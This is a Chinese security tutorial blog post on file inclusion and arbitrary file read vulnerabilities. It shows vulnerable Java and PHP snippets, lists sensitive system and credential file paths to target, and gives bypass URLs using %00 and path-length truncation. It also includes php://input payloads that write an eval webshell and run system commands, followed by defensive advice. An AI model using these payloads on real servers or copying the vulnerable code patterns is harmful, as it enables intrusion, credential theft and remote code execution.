美文网首页
文件包含漏洞与文件读取漏洞

文件包含漏洞与文件读取漏洞

作者: 文景大大 | 来源:发表于2020-08-26 23:49 被阅读0次

一、什么是文件包含与文件读取漏洞

在加载执行服务器上指定路径的文件时,或者读取、预览和下载指定路径的文件时,黑客篡改了指定的路径,而开发人员又没有对指定路径进行校验检查,那么就有可能执行、读取和下载非web目录下的非开放文件内容,从而造成执行非预期的程序和信息泄露。

文件包含和文件读取漏洞的区别是:

  • 前者表示执行了非预期的程序,比如黑客事先通过文件上传漏洞上传的木马程序、服务器本身存在的一些程序等;
  • 后者表示预览和下载了非法路径下的文件内容,比如系统信息、程序源码、密钥账号等信息。

二、漏洞发生的原理

2.1 一般的文件包含漏洞

一般的文件包含漏洞,是指没有对请求参数进行校验,就进行包含或者操作。

比如Java的代码是怎么写的:

// 从request入参中读取需要操作文件的地址
String filePath = request.get("filePath");
File file = new File(filePath);
if (file.delete()){
  log.info("删除NAS资诉附件成功,filePath="+filePath);
}

那么黑客可以很容易地尝试修改filePath地址,非法地进行文件修改。

再比如Php代码是这么写的:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

黑客可以修改filename来加载和执行其它的文件,比如原先利用文件上传漏洞上传的木马程序等。

2.2 无限制本地文件包含漏洞

是指没有对文件路径进行特定前缀或者后缀的限制,从而造成本地的文件包含漏洞。

比如常见的危险前缀:

  • c:\boot.ini 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml IIS配置文件
  • c:\ProgramFiles\mysql\my.ini MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD MySQL root密码
  • c:\windows\php.ini php 配置信息
  • /etc/passwd 账户信息
  • /etc/shadow 账户密码文件
  • /etc/my.conf mysql 配置文件
  • /usr/local/app/php5/lib/php.ini PHP相关配置
  • ../ 若干多个../或者包含它的路径会到服务器的根目录(目录穿越)

再比如常见的危险后缀:

  • .jsp
  • .asp
  • .php

2.3 有限制本地文件包含漏洞

假设我们对文件的前缀和后缀都进行了过滤,但还是有办法可以绕过的。

比如,我们限制文件名不能为jsp的后缀,然后黑客可以把文件名使用%00截断,从而绕过后缀校验:

http://127.0.0.1:8080/project/test.jsp?filename=danger.jsp%00.html

在某些低版本的服务器软件上,%00会被认为是结束符,后面的内容都会被丢弃。

还有,如果文件名很长,导致超过了服务器能识别的最长路径,那么最后的合法扩展名就会被截断,从而导致服务器加载非法后缀名的文件:

http://127.0.0.1:8080/project/test.jsp?filename=danger.jsp/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.html

2.4 无限制远程文件包含漏洞

和本地文件包含漏洞的区别就是包含或者读取的文件不是本地的,而是通过URL加载的其它服务器上的文件。如果没有对该URL做任何校验的话,黑客就可以利用此漏洞发起对任何内网或者外网的攻击,或者用来嗅探内网服务,造成一些信息的泄露。

2.5 有限制远程文件包含漏洞

开发人员对需要访问的URL做了一定的限制,但是做的不够彻底,很容易被绕过。

比如,只对访问的远程文件后缀做校验,不允许访问jsp文件,那么很容易通过一些特殊符号进行绕过。

http://127.0.0.1:8080/project/test.jsp?filename=http://127.0.0.2:8080/1.jsp?
http://127.0.0.1:8080/project/test.jsp?filename=http://127.0.0.2:8080/1.jsp%23
http://127.0.0.1:8080/project/test.jsp?filename=http://127.0.0.2:8080/1.jsp%20

其中,%23表示#,%20表示空格,都不会产生实际的意义。

2.6 其它协议漏洞

有一些其它的协议可以打开本地的输入输出流、从而导致可以写入恶意程序到服务器中执行。比如:

URL:http://127.0.0.1:8080/project/test.php?filename=php://input
POST内容:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])>')?>
URL: http://127.0.0.1:8080/project/test.php?filename=php://input
POST内容:<?php system(‘whoami’);?>

三、如何防止漏洞?

  • 如果是本地文件包含/读取的话,需要做严格的前缀校验、后缀校验、特殊符号过滤、文件路径长度校验、最好是做白名单校验,只允许访问特定的路径下的符合前述校验规则的文件,可以参考文件上传漏洞一文中的解决方案;
  • 如果是远程文件包含/读取的话,需要对协议、域名、后缀、特殊符号、长度等做校验,最好也有相应的白名单做控制。

四、参考资料

web安全原理-文件包含漏洞

任意文件读取漏洞

相关文章

  • 文件包含漏洞与文件读取漏洞

    一、什么是文件包含与文件读取漏洞 在加载执行服务器上指定路径的文件时,或者读取、预览和下载指定路径的文件时,黑客篡...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 2021-01-15Apache Flink (文件写入漏洞/文

    ​ Apache Flink (文件写入漏洞/文件读取漏洞) CVE-2020-17518/17519 一、漏洞描...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 网络安全文件上传漏洞常见的预防方法!

    在网络安全行业中,常见的漏洞有很多,其中包括SQL注入漏洞、文件上传漏洞、目录遍历漏洞、文件包含漏洞、命令执行漏洞...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

  • 文件包含漏洞

    文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

网友评论

      本文标题:文件包含漏洞与文件读取漏洞

      本文链接:https://www.haomeiwen.com/subject/zkpjdktx.html